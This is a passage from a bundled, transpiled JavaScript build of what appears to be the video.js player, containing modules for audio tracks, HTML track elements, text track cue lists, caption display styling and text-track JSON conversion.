  13939. * attribute EventHandler onaddtrack;
  13940. * attribute EventHandler onremovetrack;
  13941. * };
  13942. *
  13943. * @param {AudioTrack[]} tracks a list of audio tracks to instantiate the list with
  13944. * @extends TrackList
  13945. * @class AudioTrackList
  13946. */
  13947. var AudioTrackList = (function (_TrackList) {
  13948. _inherits(AudioTrackList, _TrackList);
  13949. function AudioTrackList() {
  13950. var tracks = arguments.length <= 0 || arguments[0] === undefined ? [] : arguments[0];
  13951. _classCallCheck(this, AudioTrackList);
  13952. var list = undefined;
  13953. // make sure only 1 track is enabled
  13954. // sorted from last index to first index
  13955. for (var i = tracks.length - 1; i >= 0; i--) {
  13956. if (tracks[i].enabled) {
  13957. disableOthers(tracks, tracks[i]);
  13958. break;
  13959. }
  13960. }
  13961. // IE8 forces us to implement inheritance ourselves
  13962. // as it does not support Object.defineProperty properly
  13963. if (browser.IS_IE8) {
  13964. list = _globalDocument2['default'].createElement('custom');
  13965. for (var prop in _trackList2['default'].prototype) {
  13966. if (prop !== 'constructor') {
  13967. list[prop] = _trackList2['default'].prototype[prop];
  13968. }
  13969. }
  13970. for (var prop in AudioTrackList.prototype) {
  13971. if (prop !== 'constructor') {
  13972. list[prop] = AudioTrackList.prototype[prop];
  13973. }
  13974. }
  13975. }
  13976. list = _TrackList.call(this, tracks, list);
  13977. list.changing_ = false;
  13978. return list;
  13979. }
  13980. AudioTrackList.prototype.addTrack_ = function addTrack_(track) {
  13981. var _this = this;
  13982. if (track.enabled) {
  13983. disableOthers(this, track);
  13984. }
  13985. _TrackList.prototype.addTrack_.call(this, track);
  13986. // native tracks don't have this
  13987. if (!track.addEventListener) {
  13988. return;
  13989. }
  13990. track.addEventListener('enabledchange', function () {
  13991. // when we are disabling other tracks (since we don't support
  13992. // more than one track at a time) we will set changing_
  13993. // to true so that we don't trigger additional change events
  13994. if (_this.changing_) {
  13995. return;
  13996. }
  13997. _this.changing_ = true;
  13998. disableOthers(_this, track);
  13999. _this.changing_ = false;
  14000. _this.trigger('change');
  14001. });
  14002. };
  14003. AudioTrackList.prototype.addTrack = function addTrack(track) {
  14004. this.addTrack_(track);
  14005. };
  14006. AudioTrackList.prototype.removeTrack = function removeTrack(track) {
  14007. _TrackList.prototype.removeTrack_.call(this, track);
  14008. };
  14009. return AudioTrackList;
  14010. })(_trackList2['default']);
  14011. exports['default'] = AudioTrackList;
  14012. module.exports = exports['default'];
  14013. },{"../utils/browser.js":140,"./track-list":136,"global/document":1}],126:[function(_dereq_,module,exports){
  14014. 'use strict';
  14015. exports.__esModule = true;
  14016. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  14017. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  14018. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  14019. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  14020. var _trackEnums = _dereq_('./track-enums');
  14021. var _track = _dereq_('./track');
  14022. var _track2 = _interopRequireDefault(_track);
  14023. var _utilsMergeOptions = _dereq_('../utils/merge-options');
  14024. var _utilsMergeOptions2 = _interopRequireDefault(_utilsMergeOptions);
  14025. var _utilsBrowserJs = _dereq_('../utils/browser.js');
  14026. var browser = _interopRequireWildcard(_utilsBrowserJs);
  14027. /**
  14028. * A single audio text track as defined in:
  14029. * @link https://html.spec.whatwg.org/multipage/embedded-content.html#audiotrack
  14030. *
  14031. * interface AudioTrack {
  14032. * readonly attribute DOMString id;
  14033. * readonly attribute DOMString kind;
  14034. * readonly attribute DOMString label;
  14035. * readonly attribute DOMString language;
  14036. * attribute boolean enabled;
  14037. * };
  14038. *
  14039. * @param {Object=} options Object of option names and values
  14040. * @class AudioTrack
  14041. */
  14042. var AudioTrack = (function (_Track) {
  14043. _inherits(AudioTrack, _Track);
  14044. function AudioTrack() {
  14045. var options = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0];
  14046. _classCallCheck(this, AudioTrack);
  14047. var settings = _utilsMergeOptions2['default'](options, {
  14048. kind: _trackEnums.AudioTrackKind[options.kind] || ''
  14049. });
  14050. // on IE8 this will be a document element
  14051. // for every other browser this will be a normal object
  14052. var track = _Track.call(this, settings);
  14053. var enabled = false;
  14054. if (browser.IS_IE8) {
  14055. for (var prop in AudioTrack.prototype) {
  14056. if (prop !== 'constructor') {
  14057. track[prop] = AudioTrack.prototype[prop];
  14058. }
  14059. }
  14060. }
  14061. Object.defineProperty(track, 'enabled', {
  14062. get: function get() {
  14063. return enabled;
  14064. },
  14065. set: function set(newEnabled) {
  14066. // an invalid or unchanged value
  14067. if (typeof newEnabled !== 'boolean' || newEnabled === enabled) {
  14068. return;
  14069. }
  14070. enabled = newEnabled;
  14071. this.trigger('enabledchange');
  14072. }
  14073. });
  14074. // if the user sets this track to selected then
  14075. // set selected to that true value otherwise
  14076. // we keep it false
  14077. if (settings.enabled) {
  14078. track.enabled = settings.enabled;
  14079. }
  14080. track.loaded_ = true;
  14081. return track;
  14082. }
  14083. return AudioTrack;
  14084. })(_track2['default']);
  14085. exports['default'] = AudioTrack;
  14086. module.exports = exports['default'];
  14087. },{"../utils/browser.js":140,"../utils/merge-options":148,"./track":137,"./track-enums":135}],127:[function(_dereq_,module,exports){
  14088. /**
  14089. * @file html-track-element-list.js
  14090. */
  14091. 'use strict';
  14092. exports.__esModule = true;
  14093. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  14094. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  14095. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  14096. var _utilsBrowserJs = _dereq_('../utils/browser.js');
  14097. var browser = _interopRequireWildcard(_utilsBrowserJs);
  14098. var _globalDocument = _dereq_('global/document');
  14099. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  14100. var HtmlTrackElementList = (function () {
  14101. function HtmlTrackElementList() {
  14102. var trackElements = arguments.length <= 0 || arguments[0] === undefined ? [] : arguments[0];
  14103. _classCallCheck(this, HtmlTrackElementList);
  14104. var list = this;
  14105. if (browser.IS_IE8) {
  14106. list = _globalDocument2['default'].createElement('custom');
  14107. for (var prop in HtmlTrackElementList.prototype) {
  14108. if (prop !== 'constructor') {
  14109. list[prop] = HtmlTrackElementList.prototype[prop];
  14110. }
  14111. }
  14112. }
  14113. list.trackElements_ = [];
  14114. Object.defineProperty(list, 'length', {
  14115. get: function get() {
  14116. return this.trackElements_.length;
  14117. }
  14118. });
  14119. for (var i = 0, _length = trackElements.length; i < _length; i++) {
  14120. list.addTrackElement_(trackElements[i]);
  14121. }
  14122. if (browser.IS_IE8) {
  14123. return list;
  14124. }
  14125. }
  14126. HtmlTrackElementList.prototype.addTrackElement_ = function addTrackElement_(trackElement) {
  14127. this.trackElements_.push(trackElement);
  14128. };
  14129. HtmlTrackElementList.prototype.getTrackElementByTrack_ = function getTrackElementByTrack_(track) {
  14130. var trackElement_ = undefined;
  14131. for (var i = 0, _length2 = this.trackElements_.length; i < _length2; i++) {
  14132. if (track === this.trackElements_[i].track) {
  14133. trackElement_ = this.trackElements_[i];
  14134. break;
  14135. }
  14136. }
  14137. return trackElement_;
  14138. };
  14139. HtmlTrackElementList.prototype.removeTrackElement_ = function removeTrackElement_(trackElement) {
  14140. for (var i = 0, _length3 = this.trackElements_.length; i < _length3; i++) {
  14141. if (trackElement === this.trackElements_[i]) {
  14142. this.trackElements_.splice(i, 1);
  14143. break;
  14144. }
  14145. }
  14146. };
  14147. return HtmlTrackElementList;
  14148. })();
  14149. exports['default'] = HtmlTrackElementList;
  14150. module.exports = exports['default'];
  14151. },{"../utils/browser.js":140,"global/document":1}],128:[function(_dereq_,module,exports){
  14152. /**
  14153. * @file html-track-element.js
  14154. */
  14155. 'use strict';
  14156. exports.__esModule = true;
  14157. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  14158. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  14159. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  14160. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  14161. var _utilsBrowserJs = _dereq_('../utils/browser.js');
  14162. var browser = _interopRequireWildcard(_utilsBrowserJs);
  14163. var _globalDocument = _dereq_('global/document');
  14164. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  14165. var _eventTarget = _dereq_('../event-target');
  14166. var _eventTarget2 = _interopRequireDefault(_eventTarget);
  14167. var _tracksTextTrack = _dereq_('../tracks/text-track');
  14168. var _tracksTextTrack2 = _interopRequireDefault(_tracksTextTrack);
  14169. var NONE = 0;
  14170. var LOADING = 1;
  14171. var LOADED = 2;
  14172. var ERROR = 3;
  14173. /**
  14174. * https://html.spec.whatwg.org/multipage/embedded-content.html#htmltrackelement
  14175. *
  14176. * interface HTMLTrackElement : HTMLElement {
  14177. * attribute DOMString kind;
  14178. * attribute DOMString src;
  14179. * attribute DOMString srclang;
  14180. * attribute DOMString label;
  14181. * attribute boolean default;
  14182. *
  14183. * const unsigned short NONE = 0;
  14184. * const unsigned short LOADING = 1;
  14185. * const unsigned short LOADED = 2;
  14186. * const unsigned short ERROR = 3;
  14187. * readonly attribute unsigned short readyState;
  14188. *
  14189. * readonly attribute TextTrack track;
  14190. * };
  14191. *
  14192. * @param {Object} options TextTrack configuration
  14193. * @class HTMLTrackElement
  14194. */
  14195. var HTMLTrackElement = (function (_EventTarget) {
  14196. _inherits(HTMLTrackElement, _EventTarget);
  14197. function HTMLTrackElement() {
  14198. var options = arguments.length <= 0 || arguments[0] === undefined ? {} : arguments[0];
  14199. _classCallCheck(this, HTMLTrackElement);
  14200. _EventTarget.call(this);
  14201. var readyState = undefined,
  14202. trackElement = this;
  14203. if (browser.IS_IE8) {
  14204. trackElement = _globalDocument2['default'].createElement('custom');
  14205. for (var prop in HTMLTrackElement.prototype) {
  14206. if (prop !== 'constructor') {
  14207. trackElement[prop] = HTMLTrackElement.prototype[prop];
  14208. }
  14209. }
  14210. }
  14211. var track = new _tracksTextTrack2['default'](options);
  14212. trackElement.kind = track.kind;
  14213. trackElement.src = track.src;
  14214. trackElement.srclang = track.language;
  14215. trackElement.label = track.label;
  14216. trackElement['default'] = track['default'];
  14217. Object.defineProperty(trackElement, 'readyState', {
  14218. get: function get() {
  14219. return readyState;
  14220. }
  14221. });
  14222. Object.defineProperty(trackElement, 'track', {
  14223. get: function get() {
  14224. return track;
  14225. }
  14226. });
  14227. readyState = NONE;
  14228. track.addEventListener('loadeddata', function () {
  14229. readyState = LOADED;
  14230. trackElement.trigger({
  14231. type: 'load',
  14232. target: trackElement
  14233. });
  14234. });
  14235. if (browser.IS_IE8) {
  14236. return trackElement;
  14237. }
  14238. }
  14239. return HTMLTrackElement;
  14240. })(_eventTarget2['default']);
  14241. HTMLTrackElement.prototype.allowedEvents_ = {
  14242. load: 'load'
  14243. };
  14244. HTMLTrackElement.NONE = NONE;
  14245. HTMLTrackElement.LOADING = LOADING;
  14246. HTMLTrackElement.LOADED = LOADED;
  14247. HTMLTrackElement.ERROR = ERROR;
  14248. exports['default'] = HTMLTrackElement;
  14249. module.exports = exports['default'];
  14250. },{"../event-target":104,"../tracks/text-track":134,"../utils/browser.js":140,"global/document":1}],129:[function(_dereq_,module,exports){
  14251. /**
  14252. * @file text-track-cue-list.js
  14253. */
  14254. 'use strict';
  14255. exports.__esModule = true;
  14256. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  14257. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  14258. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  14259. var _utilsBrowserJs = _dereq_('../utils/browser.js');
  14260. var browser = _interopRequireWildcard(_utilsBrowserJs);
  14261. var _globalDocument = _dereq_('global/document');
  14262. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  14263. /**
  14264. * A List of text track cues as defined in:
  14265. * https://html.spec.whatwg.org/multipage/embedded-content.html#texttrackcuelist
  14266. *
  14267. * interface TextTrackCueList {
  14268. * readonly attribute unsigned long length;
  14269. * getter TextTrackCue (unsigned long index);
  14270. * TextTrackCue? getCueById(DOMString id);
  14271. * };
  14272. *
  14273. * @param {Array} cues A list of cues to be initialized with
  14274. * @class TextTrackCueList
  14275. */
  14276. var TextTrackCueList = (function () {
  14277. function TextTrackCueList(cues) {
  14278. _classCallCheck(this, TextTrackCueList);
  14279. var list = this;
  14280. if (browser.IS_IE8) {
  14281. list = _globalDocument2['default'].createElement('custom');
  14282. for (var prop in TextTrackCueList.prototype) {
  14283. if (prop !== 'constructor') {
  14284. list[prop] = TextTrackCueList.prototype[prop];
  14285. }
  14286. }
  14287. }
  14288. TextTrackCueList.prototype.setCues_.call(list, cues);
  14289. Object.defineProperty(list, 'length', {
  14290. get: function get() {
  14291. return this.length_;
  14292. }
  14293. });
  14294. if (browser.IS_IE8) {
  14295. return list;
  14296. }
  14297. }
  14298. /**
  14299. * A setter for cues in this list
  14300. *
  14301. * @param {Array} cues an array of cues
  14302. * @method setCues_
  14303. * @private
  14304. */
  14305. TextTrackCueList.prototype.setCues_ = function setCues_(cues) {
  14306. var oldLength = this.length || 0;
  14307. var i = 0;
  14308. var l = cues.length;
  14309. this.cues_ = cues;
  14310. this.length_ = cues.length;
  14311. var defineProp = function defineProp(index) {
  14312. if (!('' + index in this)) {
  14313. Object.defineProperty(this, '' + index, {
  14314. get: function get() {
  14315. return this.cues_[index];
  14316. }
  14317. });
  14318. }
  14319. };
  14320. if (oldLength < l) {
  14321. i = oldLength;
  14322. for (; i < l; i++) {
  14323. defineProp.call(this, i);
  14324. }
  14325. }
  14326. };
  14327. /**
  14328. * Get a cue that is currently in the Cue list by id
  14329. *
  14330. * @param {String} id
  14331. * @method getCueById
  14332. * @return {Object} a single cue
  14333. */
  14334. TextTrackCueList.prototype.getCueById = function getCueById(id) {
  14335. var result = null;
  14336. for (var i = 0, l = this.length; i < l; i++) {
  14337. var cue = this[i];
  14338. if (cue.id === id) {
  14339. result = cue;
  14340. break;
  14341. }
  14342. }
  14343. return result;
  14344. };
  14345. return TextTrackCueList;
  14346. })();
  14347. exports['default'] = TextTrackCueList;
  14348. module.exports = exports['default'];
  14349. },{"../utils/browser.js":140,"global/document":1}],130:[function(_dereq_,module,exports){
  14350. /**
  14351. * @file text-track-display.js
  14352. */
  14353. 'use strict';
  14354. exports.__esModule = true;
  14355. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  14356. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  14357. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  14358. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  14359. var _component = _dereq_('../component');
  14360. var _component2 = _interopRequireDefault(_component);
  14361. var _menuMenuJs = _dereq_('../menu/menu.js');
  14362. var _menuMenuJs2 = _interopRequireDefault(_menuMenuJs);
  14363. var _menuMenuItemJs = _dereq_('../menu/menu-item.js');
  14364. var _menuMenuItemJs2 = _interopRequireDefault(_menuMenuItemJs);
  14365. var _menuMenuButtonJs = _dereq_('../menu/menu-button.js');
  14366. var _menuMenuButtonJs2 = _interopRequireDefault(_menuMenuButtonJs);
  14367. var _utilsFnJs = _dereq_('../utils/fn.js');
  14368. var Fn = _interopRequireWildcard(_utilsFnJs);
  14369. var _globalDocument = _dereq_('global/document');
  14370. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  14371. var _globalWindow = _dereq_('global/window');
  14372. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  14373. var darkGray = '#222';
  14374. var lightGray = '#ccc';
  14375. var fontMap = {
  14376. monospace: 'monospace',
  14377. sansSerif: 'sans-serif',
  14378. serif: 'serif',
  14379. monospaceSansSerif: '"Andale Mono", "Lucida Console", monospace',
  14380. monospaceSerif: '"Courier New", monospace',
  14381. proportionalSansSerif: 'sans-serif',
  14382. proportionalSerif: 'serif',
  14383. casual: '"Comic Sans MS", Impact, fantasy',
  14384. script: '"Monotype Corsiva", cursive',
  14385. smallcaps: '"Andale Mono", "Lucida Console", monospace, sans-serif'
  14386. };
  14387. /**
  14388. * The component for displaying text track cues
  14389. *
  14390. * @param {Object} player Main Player
  14391. * @param {Object=} options Object of option names and values
  14392. * @param {Function=} ready Ready callback function
  14393. * @extends Component
  14394. * @class TextTrackDisplay
  14395. */
  14396. var TextTrackDisplay = (function (_Component) {
  14397. _inherits(TextTrackDisplay, _Component);
  14398. function TextTrackDisplay(player, options, ready) {
  14399. _classCallCheck(this, TextTrackDisplay);
  14400. _Component.call(this, player, options, ready);
  14401. player.on('loadstart', Fn.bind(this, this.toggleDisplay));
  14402. player.on('texttrackchange', Fn.bind(this, this.updateDisplay));
  14403. // This used to be called during player init, but was causing an error
  14404. // if a track should show by default and the display hadn't loaded yet.
  14405. // Should probably be moved to an external track loader when we support
  14406. // tracks that don't need a display.
  14407. player.ready(Fn.bind(this, function () {
  14408. if (player.tech_ && player.tech_['featuresNativeTextTracks']) {
  14409. this.hide();
  14410. return;
  14411. }
  14412. player.on('fullscreenchange', Fn.bind(this, this.updateDisplay));
  14413. var tracks = this.options_.playerOptions['tracks'] || [];
  14414. for (var i = 0; i < tracks.length; i++) {
  14415. var track = tracks[i];
  14416. this.player_.addRemoteTextTrack(track);
  14417. }
  14418. var modes = { 'captions': 1, 'subtitles': 1 };
  14419. var trackList = this.player_.textTracks();
  14420. var firstDesc = undefined;
  14421. var firstCaptions = undefined;
  14422. if (trackList) {
  14423. for (var i = 0; i < trackList.length; i++) {
  14424. var track = trackList[i];
  14425. if (track['default']) {
  14426. if (track.kind === 'descriptions' && !firstDesc) {
  14427. firstDesc = track;
  14428. } else if (track.kind in modes && !firstCaptions) {
  14429. firstCaptions = track;
  14430. }
  14431. }
  14432. }
  14433. // We want to show the first default track but captions and subtitles
  14434. // take precedence over descriptions.
  14435. // So, display the first default captions or subtitles track
  14436. // and otherwise the first default descriptions track.
  14437. if (firstCaptions) {
  14438. firstCaptions.mode = 'showing';
  14439. } else if (firstDesc) {
  14440. firstDesc.mode = 'showing';
  14441. }
  14442. }
  14443. }));
  14444. }
  14445. /**
  14446. * Add cue HTML to display
  14447. *
  14448. * @param {Number} color Hex number for color, like #f0e
  14449. * @param {Number} opacity Value for opacity,0.0 - 1.0
  14450. * @return {RGBAColor} In the form 'rgba(255, 0, 0, 0.3)'
  14451. * @method constructColor
  14452. */
  14453. /**
  14454. * Toggle display texttracks
  14455. *
  14456. * @method toggleDisplay
  14457. */
  14458. TextTrackDisplay.prototype.toggleDisplay = function toggleDisplay() {
  14459. if (this.player_.tech_ && this.player_.tech_['featuresNativeTextTracks']) {
  14460. this.hide();
  14461. } else {
  14462. this.show();
  14463. }
  14464. };
  14465. /**
  14466. * Create the component's DOM element
  14467. *
  14468. * @return {Element}
  14469. * @method createEl
  14470. */
  14471. TextTrackDisplay.prototype.createEl = function createEl() {
  14472. return _Component.prototype.createEl.call(this, 'div', {
  14473. className: 'vjs-text-track-display'
  14474. }, {
  14475. 'aria-live': 'assertive',
  14476. 'aria-atomic': 'true'
  14477. });
  14478. };
  14479. /**
  14480. * Clear display texttracks
  14481. *
  14482. * @method clearDisplay
  14483. */
  14484. TextTrackDisplay.prototype.clearDisplay = function clearDisplay() {
  14485. if (typeof _globalWindow2['default']['WebVTT'] === 'function') {
  14486. _globalWindow2['default']['WebVTT']['processCues'](_globalWindow2['default'], [], this.el_);
  14487. }
  14488. };
  14489. /**
  14490. * Update display texttracks
  14491. *
  14492. * @method updateDisplay
  14493. */
  14494. TextTrackDisplay.prototype.updateDisplay = function updateDisplay() {
  14495. var tracks = this.player_.textTracks();
  14496. this.clearDisplay();
  14497. if (!tracks) {
  14498. return;
  14499. }
  14500. // Track display prioritization model: if multiple tracks are 'showing',
  14501. // display the first 'subtitles' or 'captions' track which is 'showing',
  14502. // otherwise display the first 'descriptions' track which is 'showing'
  14503. var descriptionsTrack = null;
  14504. var captionsSubtitlesTrack = null;
  14505. var i = tracks.length;
  14506. while (i--) {
  14507. var track = tracks[i];
  14508. if (track['mode'] === 'showing') {
  14509. if (track['kind'] === 'descriptions') {
  14510. descriptionsTrack = track;
  14511. } else {
  14512. captionsSubtitlesTrack = track;
  14513. }
  14514. }
  14515. }
  14516. if (captionsSubtitlesTrack) {
  14517. this.updateForTrack(captionsSubtitlesTrack);
  14518. } else if (descriptionsTrack) {
  14519. this.updateForTrack(descriptionsTrack);
  14520. }
  14521. };
  14522. /**
  14523. * Add texttrack to texttrack list
  14524. *
  14525. * @param {TextTrackObject} track Texttrack object to be added to list
  14526. * @method updateForTrack
  14527. */
  14528. TextTrackDisplay.prototype.updateForTrack = function updateForTrack(track) {
  14529. if (typeof _globalWindow2['default']['WebVTT'] !== 'function' || !track['activeCues']) {
  14530. return;
  14531. }
  14532. var overrides = this.player_['textTrackSettings'].getValues();
  14533. var cues = [];
  14534. for (var _i = 0; _i < track['activeCues'].length; _i++) {
  14535. cues.push(track['activeCues'][_i]);
  14536. }
  14537. _globalWindow2['default']['WebVTT']['processCues'](_globalWindow2['default'], cues, this.el_);
  14538. var i = cues.length;
  14539. while (i--) {
  14540. var cue = cues[i];
  14541. if (!cue) {
  14542. continue;
  14543. }
  14544. var cueDiv = cue.displayState;
  14545. if (overrides.color) {
  14546. cueDiv.firstChild.style.color = overrides.color;
  14547. }
  14548. if (overrides.textOpacity) {
  14549. tryUpdateStyle(cueDiv.firstChild, 'color', constructColor(overrides.color || '#fff', overrides.textOpacity));
  14550. }
  14551. if (overrides.backgroundColor) {
  14552. cueDiv.firstChild.style.backgroundColor = overrides.backgroundColor;
  14553. }
  14554. if (overrides.backgroundOpacity) {
  14555. tryUpdateStyle(cueDiv.firstChild, 'backgroundColor', constructColor(overrides.backgroundColor || '#000', overrides.backgroundOpacity));
  14556. }
  14557. if (overrides.windowColor) {
  14558. if (overrides.windowOpacity) {
  14559. tryUpdateStyle(cueDiv, 'backgroundColor', constructColor(overrides.windowColor, overrides.windowOpacity));
  14560. } else {
  14561. cueDiv.style.backgroundColor = overrides.windowColor;
  14562. }
  14563. }
  14564. if (overrides.edgeStyle) {
  14565. if (overrides.edgeStyle === 'dropshadow') {
  14566. cueDiv.firstChild.style.textShadow = '2px 2px 3px ' + darkGray + ', 2px 2px 4px ' + darkGray + ', 2px 2px 5px ' + darkGray;
  14567. } else if (overrides.edgeStyle === 'raised') {
  14568. cueDiv.firstChild.style.textShadow = '1px 1px ' + darkGray + ', 2px 2px ' + darkGray + ', 3px 3px ' + darkGray;
  14569. } else if (overrides.edgeStyle === 'depressed') {
  14570. cueDiv.firstChild.style.textShadow = '1px 1px ' + lightGray + ', 0 1px ' + lightGray + ', -1px -1px ' + darkGray + ', 0 -1px ' + darkGray;
  14571. } else if (overrides.edgeStyle === 'uniform') {
  14572. cueDiv.firstChild.style.textShadow = '0 0 4px ' + darkGray + ', 0 0 4px ' + darkGray + ', 0 0 4px ' + darkGray + ', 0 0 4px ' + darkGray;
  14573. }
  14574. }
  14575. if (overrides.fontPercent && overrides.fontPercent !== 1) {
  14576. var fontSize = _globalWindow2['default'].parseFloat(cueDiv.style.fontSize);
  14577. cueDiv.style.fontSize = fontSize * overrides.fontPercent + 'px';
  14578. cueDiv.style.height = 'auto';
  14579. cueDiv.style.top = 'auto';
  14580. cueDiv.style.bottom = '2px';
  14581. }
  14582. if (overrides.fontFamily && overrides.fontFamily !== 'default') {
  14583. if (overrides.fontFamily === 'small-caps') {
  14584. cueDiv.firstChild.style.fontVariant = 'small-caps';
  14585. } else {
  14586. cueDiv.firstChild.style.fontFamily = fontMap[overrides.fontFamily];
  14587. }
  14588. }
  14589. }
  14590. };
  14591. return TextTrackDisplay;
  14592. })(_component2['default']);
  14593. function constructColor(color, opacity) {
  14594. return 'rgba(' +
  14595. // color looks like "#f0e"
  14596. parseInt(color[1] + color[1], 16) + ',' + parseInt(color[2] + color[2], 16) + ',' + parseInt(color[3] + color[3], 16) + ',' + opacity + ')';
  14597. }
  14598. /**
  14599. * Try to update style
  14600. * Some style changes will throw an error, particularly in IE8. Those should be noops.
  14601. *
  14602. * @param {Element} el The element to be styles
  14603. * @param {CSSProperty} style The CSS property to be styled
  14604. * @param {CSSStyle} rule The actual style to be applied to the property
  14605. * @method tryUpdateStyle
  14606. */
  14607. function tryUpdateStyle(el, style, rule) {
  14608. //
  14609. try {
  14610. el.style[style] = rule;
  14611. } catch (e) {}
  14612. }
  14613. _component2['default'].registerComponent('TextTrackDisplay', TextTrackDisplay);
  14614. exports['default'] = TextTrackDisplay;
  14615. module.exports = exports['default'];
  14616. },{"../component":67,"../menu/menu-button.js":109,"../menu/menu-item.js":110,"../menu/menu.js":111,"../utils/fn.js":144,"global/document":1,"global/window":2}],131:[function(_dereq_,module,exports){
  14617. /**
  14618. * Utilities for capturing text track state and re-creating tracks
  14619. * based on a capture.
  14620. *
  14621. * @file text-track-list-converter.js
  14622. */
  14623. /**
  14624. * Examine a single text track and return a JSON-compatible javascript
  14625. * object that represents the text track's state.
  14626. * @param track {TextTrackObject} the text track to query
  14627. * @return {Object} a serializable javascript representation of the
  14628. * @private
  14629. */
  14630. 'use strict';
  14631. exports.__esModule = true;
  14632. var trackToJson_ = function trackToJson_(track) {
  14633. var ret = ['kind', 'label', 'language', 'id', 'inBandMetadataTrackDispatchType', 'mode', 'src'].reduce(function (acc, prop, i) {
  14634. if (track[prop]) {
  14635. acc[prop] = track[prop];
  14636. }
  14637. return acc;
  14638. }, {
  14639. cues: track.cues && Array.prototype.map.call(track.cues, function (cue) {
  14640. return {
  14641. startTime: cue.startTime,
  14642. endTime: cue.endTime,
  14643. text: cue.text,
  14644. id: cue.id
  14645. };
  14646. })
  14647. });
  14648. return ret;
  14649. };
  14650. /**
  14651. * Examine a tech and return a JSON-compatible javascript array that
  14652. * represents the state of all text tracks currently configured. The
  14653. * return array is compatible with `jsonToTextTracks`.
  14654. * @param tech {tech} the tech object to query
  14655. * @return {Array} a serializable javascript representation of the
  14656. * @function textTracksToJson
  14657. */
  14658. var textTracksToJson = function textTracksToJson(tech) {
  14659. var trackEls = tech.$$('track');
  14660. var trackObjs = Array.prototype.map.call(trackEls, function (t) {
  14661. return t.track;
  14662. });
  14663. var tracks = Array.prototype.map.call(trackEls, function (trackEl) {
  14664. var json = trackToJson_(trackEl.track);
  14665. if (trackEl.src) {
  14666. json.src = trackEl.src;
  14667. }
  14668. return json;
  14669. });
  14670. return tracks.concat(Array.prototype.filter.call(tech.textTracks(), function (track) {
  14671. return trackObjs.indexOf(track) === -1;
  14672. }).map(trackToJson_));
  14673. };
  14674. /**
  14675. * Creates a set of remote text tracks on a tech based on an array of
  14676. * javascript text track representations.
  14677. * @param json {Array} an array of text track representation objects,
  14678. * like those that would be produced by `textTracksToJson`
  14679. * @param tech {tech} the tech to create text tracks on
  14680. * @function jsonToTextTracks
  14681. */
  14682. var jsonToTextTracks = function jsonToTextTracks(json, tech) {
  14683. json.forEach(function (track) {
  14684. var addedTrack = tech.addRemoteTextTrack(track).track;
  14685. if (!track.src && track.cues) {
  14686. track.cues.forEach(function (cue) {
  14687. return addedTrack.addCue(cue);
  14688. });
  14689. }
  14690. });
  14691. return tech.textTracks();
  14692. };
  14693. exports['default'] = { textTracksToJson: textTracksToJson, jsonToTextTracks: jsonToTextTracks, trackToJson_: trackToJson_ };
  14694. module.exports = exports['default'];
  14695. },{}],132:[function(_dereq_,module,exports){
  14696. /**
  14697. * @file text-track-list.js
  14698. */
  14699. 'use strict';
  14700. exports.__esModule = true;
